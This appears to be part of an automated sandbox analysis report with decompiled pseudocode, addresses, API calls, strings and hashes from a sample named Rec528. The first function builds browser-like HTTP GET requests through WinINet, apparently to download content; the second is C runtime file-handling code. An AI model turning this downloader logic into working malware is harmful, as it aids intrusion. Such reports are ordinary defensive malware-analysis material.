											if(_t469 < 0x10) {
												L29:
												__eflags = _t498;
												if(_t498 >= 0) {
													__eflags = _v324;
													if(__eflags != 0) {
														_t393 = (_t510[0x34] - _v336) * 8 - _t510[0x34] - _v336;
														_t309 = E0040ED8D(_t393, _t498, _t510, __eflags, _t393);
														_t532 = _t531 + 4;
														_t436 = _t510[0x34] - _v336;
														_v296 = 0;
														_v304 = 0;
														_t499 =  *_v324;
														_v332 = _t309;
														_t469 = _v324;
														_t394 = _v336;
														_t312 =  *((intOrPtr*)( *_v324 + 0x10))(_v324, 0, _t436,  &(_t394[_t510[0x28]]), _t393, _t309, _t436,  &_v304,  &_v296, 0);
														__eflags = _t312;
														if(_t312 >= 0) {
															_t316 = _v296;
															_t480 = _t510[0x30];
															_t438 =  &(_t394[_v296]);
															__eflags = _t480 - _t438;
															if(__eflags > 0) {
																_t500 = _t510[0x28];
															} else {
																_t510[0x30] =  &(_t438[0x3e8]);
																_t500 = E0040ED8D(_t394, _t499, _t510, __eflags,  &(_t438[0x3e8]));
																E00401770(_t500, _t510[0x30], _t510[0x28], _t394);
																L0040EB4D(_t510[0x28]);
																_t480 = _t510[0x30];
																_t532 = _t532 + 0x10;
																_t316 = _v296;
																_t510[0x28] = _t500;
															}
															_t469 = _t480 - _t394;
															E00401770( &(_t394[_t500]), _t480 - _t394, _v332, _t316);
															_t532 = _t532 + 8;
															_t319 =  &(_t394[_v296]);
															__eflags = _t319;
															_t510[0x34] = _t319;
														}
														L0040EB4D(_v332);
														_t314 = _v324;
														 *((intOrPtr*)( *_t314 + 8))(_t314);
													}
												}
												_t305 = _v328;
												 *((intOrPtr*)( *_t305 + 8))(_t305);
												goto L38;
											} else {
												_t441 = _v360;
												_t469 = _t469 + 1;
												_t324 = _t441;
												__eflags = _t469 - 0x1000;
												if(_t469 < 0x1000) {
													L28:
													_push(_t469);
													E0040ED7F(_t441);
													_t531 = _t531 + 8;
													goto L29;
												} else {
													_t441 =  *(_t441 - 4);
													_t469 = _t469 + 0x23;
													__eflags = _t324 - _t441 + 0xfffffffc - 0x1f;
													if(__eflags > 0) {
														goto L39;
													} else {
														goto L28;
													}
												}
											}
										} else {
											_t465 = _v384;
											_t489 = 2 + _t476 * 2;
											_t379 = _t465;
											__eflags = _t489 - 0x1000;
											if(_t489 < 0x1000) {
												L24:
												_push(_t489);
												E0040ED7F(_t465);
												_t531 = _t531 + 8;
												goto L25;
											} else {
												_t441 =  *(_t465 - 4);
												_t469 = _t489 + 0x23;
												__eflags = _t379 - _t441 + 0xfffffffc - 0x1f;
												if(__eflags > 0) {
													L39:
													E004134A7(_t391, _t469, __eflags);
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													_push(_t522);
													_t523 = _t531;
													_push(0xffffffff);
													_push(0x42c295);
													_push( *[fs:0x0]);
													_t534 = _t531 - 0x48;
													_t331 =  *0x43d054 ^ _t523;
													__eflags = _t331;
													_v644 = _t331;
													_push(_t391);
													_push(_t510);
													_push(_t498);
													_push(_t331);
													 *[fs:0x0] =  &_v636;
													_v700 = _t441;
													_t482 = _v616;
													_t442 = _t482;
													_v668 = 0;
													_v672 = _t482;
													_v652 = 0;
													_v648 = 0xf;
													_t512 = _t442 + 1;
													_v668 = 0;
													do {
														_t333 =  *_t442;
														_t442 = _t442 + 1;
														__eflags = _t333;
													} while (_t333 != 0);
													E004026C0(_t391,  &_v56, _t482, _t442 - _t512);
													_v16 = 0;
													_t395 = _v36;
													__eflags = _t395 - 0x10;
													_t513 = _v40;
													_t483 = _t513;
													_t446 =  >=  ? _v56 :  &_v56;
													_t501 = E004028A0( >=  ? _v56 :  &_v56, _t513,  >=  ? _v56 :  &_v56, "http://", 7);
													_t535 = _t534 + 0xc;
													__eflags = _t501 - 0xffffffff;
													if(_t501 == 0xffffffff) {
														L45:
														__eflags = _v36 - 0x10;
														_t397 =  >=  ? _v56 :  &_v56;
														__eflags = _t513;
														if(_t513 == 0) {
															L48:
															_t502 = _t501 | 0xffffffff;
															__eflags = _t502;
														} else {
															_t501 = E004109D0(_t397, 0x2f, _t513);
															_t535 = _t535 + 0xc;
															__eflags = _t501;
															if(_t501 == 0) {
																goto L48;
															} else {
																_t502 = _t501 - _t397;
															}
														}
														__eflags = _t513 - _t502;
														_v84 = 0;
														_v68 = 0;
														_t448 =  <  ? _t513 : _t502;
														_v64 = 0xf;
														__eflags = _v36 - 0x10;
														_t337 =  >=  ? _v56 :  &_v56;
														_v84 = 0;
														E004026C0(_t397,  &_v84,  >=  ? _v56 :  &_v56,  <  ? _t513 : _t502);
														_v16 = 1;
														_t339 = _v40;
														__eflags = _t339 - _t502;
														_t503 =  <  ? _t339 : _t502;
														__eflags = _v36 - 0x10;
														_t451 =  >=  ? _v56 :  &_v56;
														_t340 = _t339 - ( <  ? _t339 : _t502);
														_v40 = _t339 - ( <  ? _t339 : _t502);
														E00410440( >=  ? _v56 :  &_v56,  &(( >=  ? _v56 :  &_v56)[ <  ? _t339 : _t502]), _t339 - ( <  ? _t339 : _t502) + 1);
														_t398 = _v88;
														_v92 = 0;
														E00413584(_t398 + 0x44, 0x104, _v60, 0x103);
														_t535 = _t535 + 0x1c;
														asm("sbb eax, eax");
														_t513 = InternetOpenA( *(_t398 + 0xc),  ~( *(_t398 + 0x38)) & 0x00000003,  *(_t398 + 0x38), 0, 0);
														_v96 = _t513;
														__eflags = _t513;
														if(_t513 != 0) {
															_v60 = 1;
															InternetSetOptionA(_t513, 0x41,  &_v60, 4);
															__eflags = _v64 - 0x10;
															_t365 =  >=  ? _v84 :  &_v84;
															_t366 = InternetConnectA(_t513,  >=  ? _v84 :  &_v84, 0x50,  *(_t398 + 0x3c),  *(_t398 + 0x40), 3, 0, 1);
															_t505 = InternetCloseHandle;
															_t401 = _t366;
															__eflags = _t401;
															if(_t401 != 0) {
																__eflags = _v36 - 0x10;
																_t460 =  >=  ? _v56 :  &_v56;
																_t517 = HttpOpenRequestA(_t401, "GET",  >=  ? _v56 :  &_v56, 0, 0, 0, 0x80400000, 1);
																__eflags = _t517;
																if(__eflags != 0) {
																	E00401A00(_t401, InternetCloseHandle, __eflags, _t517);
																	_t371 = HttpSendRequestA(_t517, 0, 0, 0, 0);
																	__eflags = _t371;
																	if(_t371 != 0) {
																		_push(_t517);
																		L6();
																		_v92 = _t371;
																	}
																	 *_t505(_t517);
																}
																 *_t505(_t401);
																_t513 = _v96;
															}
															 *_t505(_t513);
														}
														_t484 = _v64;
														__eflags = _v92;
														_t395 = 0 | _v92 > 0x00000000;
														__eflags = _t484 - 0x10;
														if(_t484 < 0x10) {
															L61:
															_t485 = _v36;
															_v68 = 0;
															_v64 = 0xf;
															_v84 = 0;
															__eflags = _t485 - 0x10;
															if(_t485 < 0x10) {
																L65:
																 *[fs:0x0] = _v24;
																_pop(_t504);
																_pop(_t514);
																_pop(_t400);
																__eflags = _v32 ^ _t523;
																return E0040EB3F(_t395, _t400, _v32 ^ _t523, _t485, _t504, _t514);
															} else {
																_t456 = _v56;
																_t485 = _t485 + 1;
																_t352 = _t456;
																__eflags = _t485 - 0x1000;
																if(_t485 < 0x1000) {
																	L64:
																	_push(_t485);
																	E0040ED7F(_t456);
																	goto L65;
																} else {
																	_t456 =  *((intOrPtr*)(_t456 - 4));
																	_t485 = _t485 + 0x23;
																	__eflags = _t352 - _t456 + 0xfffffffc - 0x1f;
																	if(__eflags > 0) {
																		goto L67;
																	} else {
																		goto L64;
																	}
																}
															}
														} else {
															_t458 = _v84;
															_t486 = _t484 + 1;
															_t358 = _t458;
															__eflags = _t486 - 0x1000;
															if(_t486 < 0x1000) {
																L60:
																_push(_t486);
																E0040ED7F(_t458);
																_t535 = _t535 + 8;
																goto L61;
															} else {
																_t456 =  *((intOrPtr*)(_t458 - 4));
																_t485 = _t486 + 0x23;
																__eflags = _t358 - _t456 + 0xfffffffc - 0x1f;
																if(__eflags > 0) {
																	goto L67;
																} else {
																	goto L60;
																}
															}
														}
													} else {
														__eflags = _t513 - _t501;
														if(_t513 < _t501) {
															E00402800(_t446, _t483);
															L67:
															E004134A7(_t395, _t485, __eflags);
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															_push(_t523);
															_push(_t513);
															_t515 = _t456;
															_t357 =  *(_t515 + 0x2c);
															 *(_t515 + 0x34) = 0;
															__eflags = _t357;
															if(_t357 != 0) {
																_t357 = L0040EB4D(_t357);
																 *(_t515 + 0x2c) = 0;
															}
															_push(_v8);
															L40();
															return _t357;
														} else {
															_t376 = _t513 - _t501;
															__eflags = _t376 - 7;
															_t488 =  <  ? _t376 : 7;
															__eflags = _t395 - 0x10;
															_t463 =  >=  ? _v56 :  &_v56;
															_t518 = _t513 - 7;
															_t464 =  &(( >=  ? _v56 :  &_v56)[_t501]);
															_v40 = _t518;
															__eflags = _t518 - _t501 + 1;
															E00410440( &(( >=  ? _v56 :  &_v56)[_t501]),  &(( &(( >=  ? _v56 :  &_v56)[_t501]))[ <  ? _t376 : 7]), _t518 - _t501 + 1);
															_t513 = _v40;
															_t535 = _t535 + 0xc;
															goto L45;
														}
													}
												} else {
													goto L24;
												}
											}
										}
									}
								}
							}
						} else {
							goto L3;
						}
					}
				}
			}

0x00401a00
0x00401a03
0x00401a05
0x00401a10
0x00401a11
0x00401a14
0x00401a19
0x00401a1b
0x00401a1f
0x00401a20
0x00401a24
0x00401a2a
0x00401a32
0x00401a3e
0x00401a45
0x00401a4c
0x00401a50
0x00401a55
0x00401a69
0x00401a77
0x00401a83
0x00401a97
0x00401a9d
0x00401aa9
0x00401abd
0x00401ac3
0x00401acf
0x00401ae3
0x00401ae9
0x00401aeb
0x00401af1
0x00401b1b
0x00401b1e
0x00401b26
0x00401b27
0x00401b35
0x00401af3
0x00401af3
0x00401af6
0x00401af7
0x00401aff
0x00401b11
0x00401b11
0x00401b13
0x00000000
0x00401b01
0x00401b01
0x00401b04
0x00401b0f
0x00401b38
0x00401b3d
0x00401b3e
0x00401b3f
0x00401b40
0x00401b41
0x00401b43
0x00401b45
0x00401b50
0x00401b51
0x00401b57
0x00401b5c
0x00401b5e
0x00401b61
0x00401b62
0x00401b63
0x00401b64
0x00401b68
0x00401b6e
0x00401b70
0x00401b74
0x00401b77
0x00401b7d
0x00401bac
0x00401b7f
0x00401b84
0x00401b8b
0x00401b90
0x00401b93
0x00401b96
0x00401b9d
0x00401b9d
0x00401bbb
0x00401bc5
0x00401bd0
0x00401be4
0x00401bea
0x00401bf0
0x00401bf2
0x00401bf7
0x00401bfd
0x00401c03
0x00401c0b
0x00401c16
0x00401c18
0x00401c1e
0x00401c26
0x00401c2b
0x00401c31
0x00401c34
0x00401c37
0x00401c37
0x00401c3d
0x00401c3f
0x00000000
0x00000000
0x00401c41
0x00401c43
0x00000000
0x00000000
0x00000000
0x00401c43
0x00401c50
0x00401c5d
0x00401c62
0x00401c78
0x00401c7e
0x00401c80
0x00401fe5
0x00401feb
0x00401ffb
0x00402003
0x00402004
0x00402005
0x00402009
0x00402013
0x00401c86
0x00401c8c
0x00401ca0
0x00401ca6
0x00401cb1
0x00401cb7
0x00401cb9
0x00000000
0x00401cbf
0x00401cbf
0x00401cc6
0x00000000
0x00401ccc
0x00401ccc
0x00401cd2
0x00401cdc
0x00401ce6
0x00401ce9
0x00401cf3
0x00401cfa
0x00401d00
0x00401d00
0x00401d02
0x00401d03
0x00401d03
0x00401d17
0x00401d1c
0x00401d2f
0x00401d35
0x00401d36
0x00401d3f
0x00401d4e
0x00401d58
0x00401d69
0x00401d6e
0x00401d71
0x00401d77
0x00401d84
0x00401d8c
0x00401d9a
0x00401d9c
0x00401d9e
0x00401da8
0x00401daa
0x00401db4
0x00401dbe
0x00401dc5
0x00401dc5
0x00401dd0
0x00401dd0
0x00401dd3
0x00401dd6
0x00401dd6
0x00401de7
0x00401ded
0x00401df2
0x00401df5
0x00401dff
0x00401e0b
0x00401e13
0x00401e23
0x00401e26
0x00401e2a
0x00401e2c
0x00401e32
0x00401e35
0x00401e6c
0x00401e6e
0x00401e75
0x00401e7b
0x00401e85
0x00401e8f
0x00401e96
0x00401e99
0x00401eca
0x00401eca
0x00401ecc
0x00401ed2
0x00401ed9
0x00401eef
0x00401ef2
0x00401efd
0x00401f03
0x00401f09
0x00401f15
0x00401f1f
0x00401f2e
0x00401f35
0x00401f41
0x00401f4e
0x00401f51
0x00401f53
0x00401f55
0x00401f5b
0x00401f5e
0x00401f61
0x00401f63
0x00401f9d
0x00401f65
0x00401f6c
0x00401f77
0x00401f7f
0x00401f87
0x00401f8c
0x00401f8f
0x00401f92
0x00401f98
0x00401f98
0x00401fa7
0x00401fac
0x00401fb7
0x00401fba
0x00401fba
0x00401fbc
0x00401fbc
0x00401fc5
0x00401fca
0x00401fd6
0x00401fd6
0x00401ed9
0x00401fd9
0x00401fe2
0x00000000
0x00401e9b
0x00401e9b
0x00401ea1
0x00401ea2
0x00401ea4
0x00401eaa
0x00401ec0
0x00401ec0
0x00401ec2
0x00401ec7
0x00000000
0x00401eac
0x00401eac
0x00401eaf
0x00401eb7
0x00401eba
0x00000000
0x00000000
0x00000000
0x00000000
0x00401eba
0x00401eaa
0x00401e37
0x00401e37
0x00401e3d
0x00401e44
0x00401e46
0x00401e4c
0x00401e62
0x00401e62
0x00401e64
0x00401e69
0x00000000
0x00401e4e
0x00401e4e
0x00401e51
0x00401e59
0x00401e5c
0x00402016
0x00402016
0x0040201b
0x0040201c
0x0040201d
0x0040201e
0x0040201f
0x00402020
0x00402021
0x00402023
0x00402025
0x00402030
0x00402031
0x00402039
0x00402039
0x0040203b
0x0040203e
0x0040203f
0x00402040
0x00402041
0x00402045
0x0040204b
0x0040204e
0x00402051
0x00402053
0x0040205a
0x0040205d
0x00402064
0x0040206b
0x0040206e
0x00402072
0x00402072
0x00402074
0x00402075
0x00402075
0x00402080
0x00402085
0x0040208f
0x00402092
0x00402095
0x00402098
0x0040209a
0x004020ab
0x004020ad
0x004020b0
0x004020b3
0x004020f0
0x004020f0
0x004020f7
0x004020fb
0x004020fd
0x00402115
0x00402115
0x00402115
0x004020ff
0x00402108
0x0040210a
0x0040210d
0x0040210f
0x00000000
0x00402111
0x00402111
0x00402111
0x0040210f
0x00402118
0x0040211a
0x00402123
0x0040212a
0x0040212d
0x00402134
0x0040213c
0x00402144
0x00402148
0x0040214d
0x00402154
0x00402157
0x00402159
0x0040215c
0x00402160
0x00402164
0x00402166
0x00402170
0x00402175
0x0040217b
0x00402193
0x0040219b
0x004021a5
0x004021b4
0x004021b6
0x004021b9
0x004021bb
0x004021c6
0x004021d1
0x004021d7
0x004021e0
0x004021f2
0x004021f8
0x004021fe
0x00402200
0x00402202
0x00402204
0x0040220d
0x00402229
0x0040222b
0x0040222d
0x00402230
0x0040223e
0x00402244
0x00402246
0x0040224b
0x0040224c
0x00402251
0x00402251
0x00402255
0x00402255
0x00402258
0x0040225a
0x0040225a
0x0040225e
0x0040225e
0x00402260
0x00402265
0x00402268
0x0040226b
0x0040226e
0x00402298
0x00402298
0x0040229b
0x004022a2
0x004022a9
0x004022ad
0x004022b0
0x004022da
0x004022df
0x004022e7
0x004022e8
0x004022e9
0x004022ed
0x004022f7
0x004022b2
0x004022b2
0x004022b5
0x004022b6
0x004022b8
0x004022be
0x004022d0
0x004022d0
0x004022d2
0x00000000
0x004022c0
0x004022c0
0x004022c3
0x004022cb
0x004022ce
0x00000000
0x00000000
0x00000000
0x00000000
0x004022ce
0x004022be
0x00402270
0x00402270
0x00402273
0x00402274
0x00402276
0x0040227c
0x0040228e
0x0040228e
0x00402290
0x00402295
0x00000000
0x0040227e
0x0040227e
0x00402281
0x00402289
0x0040228c
0x00000000
0x00000000
0x00000000
0x00000000
0x0040228c
0x0040227c
0x004020b5
0x004020b5
0x004020b7
0x004022fa
0x004022ff
0x004022ff
0x00402304
0x00402305
0x00402306
0x00402307
0x00402308
0x00402309
0x0040230a
0x0040230b
0x0040230c
0x0040230d
0x0040230e
0x0040230f
0x00402310
0x00402313
0x00402314
0x00402316
0x00402319
0x00402320
0x00402322
0x00402325
0x0040232d
0x0040232d
0x00402334
0x00402339
0x00402340
0x004020bd
0x004020c2
0x004020c9
0x004020cb
0x004020ce
0x004020d1
0x004020d5
0x004020d7
0x004020d9
0x004020de
0x004020e5
0x004020ea
0x004020ed
0x00000000
0x004020ed
0x004020b7
0x00000000
0x00000000
0x00000000
0x00401e5c
0x00401e4c
0x00401e35
0x00401cc6
0x00401cb9
0x00000000
0x00000000
0x00000000
0x00401b0f
0x00401aff

APIs

HttpAddRequestHeadersA.WININET(?,00000000,00000000,20000000), ref: 00401A77
HttpAddRequestHeadersA.WININET(?,00000000,00000000,20000000), ref: 00401A9D

Part of subcall function 004026C0: Concurrency::cancel_current_task.LIBCPMT ref: 004027F3

HttpAddRequestHeadersA.WININET(?,00000000,00000000,20000000), ref: 00401AC3
HttpAddRequestHeadersA.WININET(?,00000000,00000000,20000000), ref: 00401AE9

Strings

Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1, xrefs: 00401AA1
text, xrefs: 00401E1C
GET, xrefs: 0040221D
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1, xrefs: 00401A39
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0, xrefs: 00401AC7
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8, xrefs: 00401A7B

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: HeadersHttpRequest$Concurrency::cancel_current_task
String ID: Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1$Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0$Accept-Language: ru-RU,ru;q=0.9,en;q=0.8$Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1$GET$text
API String ID: 2146599340-3782612381
Opcode ID: b953d7a70eac288c36cc75dd3da2b78931e3600a081e637e1606bc314aa3fec6
Instruction ID: d56f613ca99d5951b8ad46e8c453e91991ea1047b5f2e37bc5e4d0d2981f26b9
Opcode Fuzzy Hash: b953d7a70eac288c36cc75dd3da2b78931e3600a081e637e1606bc314aa3fec6
Instruction Fuzzy Hash: 64318331E10109EBDB14DFA9CC81FEEBBB9EB48714F60802AE121771D0D779A544CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0042863E Relevance: 13.8, APIs: 9, Instructions: 273
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 43%

			E0042863E(void* __ecx, void* __eflags, intOrPtr* _a4, signed int* _a8, intOrPtr _a12, signed int _a16, intOrPtr _a20, intOrPtr _a24) {
				signed int _v5;
				char _v6;
				void* _v12;
				signed int _v16;
				signed int _v20;
				char _v24;
				intOrPtr _v36;
				signed int _v44;
				void _v48;
				char _v72;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t114;
				void* _t122;
				signed int _t123;
				signed char _t124;
				signed int _t134;
				intOrPtr _t162;
				intOrPtr _t178;
				signed int* _t186;
				void* _t188;
				signed int* _t189;
				signed int _t191;
				char _t196;
				signed int _t202;
				signed int _t205;
				signed int _t214;
				signed int _t216;
				signed int _t218;
				signed int _t224;
				signed int _t226;
				signed int _t233;
				signed int _t234;
				signed int _t236;
				signed int _t238;
				signed char _t241;
				signed int _t242;
				intOrPtr _t246;
				void* _t249;
				void* _t253;
				void* _t263;
				signed int _t264;
				signed int _t267;
				signed int _t268;
				signed int _t271;
				void* _t273;
				void* _t275;
				void* _t276;
				void* _t278;
				void* _t279;
				void* _t281;
				void* _t285;
				signed int _t289;

				_t263 = E0042838C(__ecx,  &_v72, _a16, _a20, _a24);
				_t191 = 6;
				memcpy( &_v48, _t263, _t191 << 2);
				_t275 = _t273 + 0x1c;
				_t249 = _t263 + _t191 + _t191;
				_t264 = _t263 | 0xffffffff;
				_t288 = _v36 - _t264;
				if(_v36 != _t264) {
					_t114 = E0042538E(_t188, _t249, _t264, __eflags);
					_t189 = _a8;
					 *_t189 = _t114;
					__eflags = _t114 - _t264;
					if(__eflags != 0) {
						_v20 = _v20 & 0x00000000;
						_v24 = 0xc;
						_t276 = _t275 - 0x18;
						 *_a4 = 1;
						_push(6);
						_v16 =  !(_a16 >> 7) & 1;
						_push( &_v24);
						_push(_a12);
						memcpy(_t276,  &_v48, 1 << 2);
						_t196 = 0;
						_t122 = E004282F7(); // executed
						_t253 = _t122;
						_t278 = _t276 + 0x2c;
						_v12 = _t253;
						__eflags = _t253 - 0xffffffff;
						if(_t253 != 0xffffffff) {
							L11:
							_t123 = GetFileType(_t253); // executed
							__eflags = _t123;
							if(_t123 != 0) {
								__eflags = _t123 - 2;
								if(_t123 != 2) {
									__eflags = _t123 - 3;
									_t124 = _v48;
									if(_t123 == 3) {
										_t124 = _t124 | 0x00000008;
										__eflags = _t124;
									}
								} else {
									_t124 = _v48 | 0x00000040;
								}
								_v5 = _t124;
								E004252D9(_t196, _t253,  *_t189, _t253);
								_t241 = _v5 | 0x00000001;
								_v5 = _t241;
								_v48 = _t241;
								 *( *((intOrPtr*)(0x4508e0 + ( *_t189 >> 6) * 4)) + 0x28 + ( *_t189 & 0x0000003f) * 0x38) = _t241;
								_t202 =  *_t189;
								_t204 = (_t202 & 0x0000003f) * 0x38;
								__eflags = _a16 & 0x00000002;
								 *((char*)( *((intOrPtr*)(0x4508e0 + (_t202 >> 6) * 4)) + 0x29 + (_t202 & 0x0000003f) * 0x38)) = 0;
								if((_a16 & 0x00000002) == 0) {
									L22:
									_v6 = 0;
									_push( &_v6);
									_push(_a16);
									_t279 = _t278 - 0x18;
									_t205 = 6;
									_push( *_t189);
									memcpy(_t279,  &_v48, _t205 << 2);
									_t134 = E004280A4(_t189,  &_v48 + _t205 + _t205,  &_v48);
									_t242 =  *_t189;
									_t267 = _t134;
									_t281 = _t279 + 0x30;
									__eflags = _t267;
									if(__eflags == 0) {
										 *((char*)( *((intOrPtr*)(0x4508e0 + (_t242 >> 6) * 4)) + 0x29 + (_t242 & 0x0000003f) * 0x38)) = _v6;
										 *( *((intOrPtr*)(0x4508e0 + ( *_t189 >> 6) * 4)) + 0x2d + ( *_t189 & 0x0000003f) * 0x38) =  *( *((intOrPtr*)(0x4508e0 + ( *_t189 >> 6) * 4)) + 0x2d + ( *_t189 & 0x0000003f) * 0x38) ^ (_a16 >> 0x00000010 ^  *( *((intOrPtr*)(0x4508e0 + ( *_t189 >> 6) * 4)) + 0x2d + ( *_t189 & 0x0000003f) * 0x38)) & 0x00000001;
										__eflags = _v5 & 0x00000048;
										if((_v5 & 0x00000048) == 0) {
											__eflags = _a16 & 0x00000008;
											if((_a16 & 0x00000008) != 0) {
												_t224 =  *_t189;
												_t226 = (_t224 & 0x0000003f) * 0x38;
												_t162 =  *((intOrPtr*)(0x4508e0 + (_t224 >> 6) * 4));
												_t87 = _t162 + _t226 + 0x28;
												 *_t87 =  *(_t162 + _t226 + 0x28) | 0x00000020;
												__eflags =  *_t87;
											}
										}
										_t268 = _v44;
										__eflags = (_t268 & 0xc0000000) - 0xc0000000;
										if((_t268 & 0xc0000000) != 0xc0000000) {
											L32:
											__eflags = 0;
											return 0;
										} else {
											__eflags = _a16 & 0x00000001;
											if((_a16 & 0x00000001) == 0) {
												goto L32;
											}
											CloseHandle(_v12);
											_v44 = _t268 & 0x7fffffff;
											_t214 = 6;
											_push( &_v24);
											_push(_a12);
											memcpy(_t281 - 0x18,  &_v48, _t214 << 2);
											_t246 = E004282F7();
											__eflags = _t246 - 0xffffffff;
											if(_t246 != 0xffffffff) {
												_t216 =  *_t189;
												_t218 = (_t216 & 0x0000003f) * 0x38;
												__eflags = _t218;
												 *((intOrPtr*)( *((intOrPtr*)(0x4508e0 + (_t216 >> 6) * 4)) + _t218 + 0x18)) = _t246;
												goto L32;
											}
											E0041353B(GetLastError());
											 *( *((intOrPtr*)(0x4508e0 + ( *_t189 >> 6) * 4)) + 0x28 + ( *_t189 & 0x0000003f) * 0x38) =  *( *((intOrPtr*)(0x4508e0 + ( *_t189 >> 6) * 4)) + 0x28 + ( *_t189 & 0x0000003f) * 0x38) & 0x000000fe;
											E004254A1( *_t189);
											L10:
											goto L2;
										}
									}
									_push(_t242);
									goto L21;
								} else {
									_t267 = E00428506(_t204,  *_t189);
									__eflags = _t267;
									if(__eflags == 0) {
										goto L22;
									}
									_push( *_t189);
									L21:
									E0041EC13(__eflags);
									return _t267;
								}
							}
							_t271 = GetLastError();
							E0041353B(_t271);
							 *( *((intOrPtr*)(0x4508e0 + ( *_t189 >> 6) * 4)) + 0x28 + ( *_t189 & 0x0000003f) * 0x38) =  *( *((intOrPtr*)(0x4508e0 + ( *_t189 >> 6) * 4)) + 0x28 + ( *_t189 & 0x0000003f) * 0x38) & 0x000000fe;
							CloseHandle(_t253);
							__eflags = _t271;
							if(__eflags == 0) {
								 *((intOrPtr*)(E00413571(__eflags))) = 0xd;
							}
							goto L2;
						}
						_t233 = _v44;
						__eflags = (_t233 & 0xc0000000) - 0xc0000000;
						if((_t233 & 0xc0000000) != 0xc0000000) {
							L9:
							_t234 =  *_t189;
							_t236 = (_t234 & 0x0000003f) * 0x38;
							_t178 =  *((intOrPtr*)(0x4508e0 + (_t234 >> 6) * 4));
							_t33 = _t178 + _t236 + 0x28;
							 *_t33 =  *(_t178 + _t236 + 0x28) & 0x000000fe;
							__eflags =  *_t33;
							E0041353B(GetLastError());
							goto L10;
						}
						__eflags = _a16 & 0x00000001;
						if((_a16 & 0x00000001) == 0) {
							goto L9;
						}
						_t285 = _t278 - 0x18;
						_v44 = _t233 & 0x7fffffff;
						_t238 = 6;
						_push( &_v24);
						_push(_a12);
						memcpy(_t285,  &_v48, _t238 << 2);
						_t196 = 0;
						_t253 = E004282F7();
						_t278 = _t285 + 0x2c;
						_v12 = _t253;
						__eflags = _t253 - 0xffffffff;
						if(_t253 != 0xffffffff) {
							goto L11;
						}
						goto L9;
					} else {
						 *(E0041355E(__eflags)) =  *_t184 & 0x00000000;
						 *_t189 = _t264;
						 *((intOrPtr*)(E00413571(__eflags))) = 0x18;
						goto L2;
					}
				} else {
					_t186 = E0041355E(_t288);
					 *_t186 =  *_t186 & 0x00000000;
					_t289 =  *_t186;
					 *_a8 = _t264;
					L2:
					return  *((intOrPtr*)(E00413571(_t289)));
				}
			}

0x00428661
0x00428665
0x00428666
0x00428666
0x00428666
0x00428668
0x0042866b
0x0042866e
0x00428689
0x0042868e
0x00428691
0x00428693
0x00428695
0x004286b4
0x004286bb
0x004286c2
0x004286c5
0x004286d1
0x004286d4
0x004286dc
0x004286dd
0x004286e0
0x004286e0
0x004286e2
0x004286e7
0x004286e9
0x004286ec
0x004286f4
0x004286f7
0x00428764
0x00428765
0x0042876b
0x0042876d
0x004287b6
0x004287b9
0x004287c2
0x004287c5
0x004287c8
0x004287ca
0x004287ca
0x004287ca
0x004287bb
0x004287be
0x004287be
0x004287cf
0x004287d2
0x004287de
0x004287e3
0x004287ef
0x004287f9
0x004287fd
0x00428807
0x0042880a
0x00428815
0x0042881a
0x00428839
0x0042883c
0x00428840
0x00428841
0x00428847
0x0042884c
0x0042884f
0x00428851
0x00428853
0x00428858
0x0042885a
0x0042885c
0x0042885f
0x00428861
0x0042887b
0x0042889f
0x004288a3
0x004288a7
0x004288a9
0x004288ad
0x004288af
0x004288b9
0x004288bc
0x004288c3
0x004288c3
0x004288c3
0x004288c3
0x004288ad
0x004288c8
0x004288d4
0x004288d6
0x00428961
0x00428961
0x00000000
0x004288dc
0x004288dc
0x004288e0
0x00000000
0x00000000
0x004288e5
0x004288f7
0x004288ff
0x00428902
0x00428903
0x00428906
0x0042890d
0x00428912
0x00428915
0x00428949
0x00428953
0x00428953
0x0042895d
0x00000000
0x0042895d
0x0042891e
0x00428937
0x0042893e
0x0042875e
0x00000000
0x0042875e
0x004288d6
0x00428863
0x00000000
0x0042881c
0x00428823
0x00428826
0x00428828
0x00000000
0x00000000
0x0042882a
0x0042882c
0x0042882c
0x00000000
0x00428832
0x0042881a
0x00428775
0x00428778
0x00428793
0x00428798
0x0042879e
0x004287a0
0x004287ab
0x004287ab
0x00000000
0x004287a0
0x004286f9
0x00428700
0x00428702
0x00428739
0x00428739
0x00428743
0x00428746
0x0042874d
0x0042874d
0x0042874d
0x00428759
0x00000000
0x00428759
0x00428704
0x00428708
0x00000000
0x00000000
0x0042870a
0x00428719
0x0042871e
0x00428721
0x00428722
0x00428725
0x00428725
0x0042872c
0x0042872e
0x00428731
0x00428734
0x00428737
0x00000000
0x00000000
0x00000000
0x00428697
0x0042869c
0x0042869f
0x004286a6
0x00000000
0x004286a6
0x00428670
0x00428670
0x00428675
0x00428675
0x0042867b
0x0042867d
0x00000000
0x00428682

APIs

Part of subcall function 004282F7: CreateFileW.KERNEL32(00000000,00000000,?,004286E7,?,?,00000000,?,004286E7,00000000,0000000C), ref: 00428314

GetLastError.KERNEL32 ref: 00428752
__dosmaperr.LIBCMT ref: 00428759
GetFileType.KERNEL32(00000000), ref: 00428765
GetLastError.KERNEL32 ref: 0042876F
__dosmaperr.LIBCMT ref: 00428778
CloseHandle.KERNEL32(00000000), ref: 00428798
CloseHandle.KERNEL32(?), ref: 004288E5
GetLastError.KERNEL32 ref: 00428917
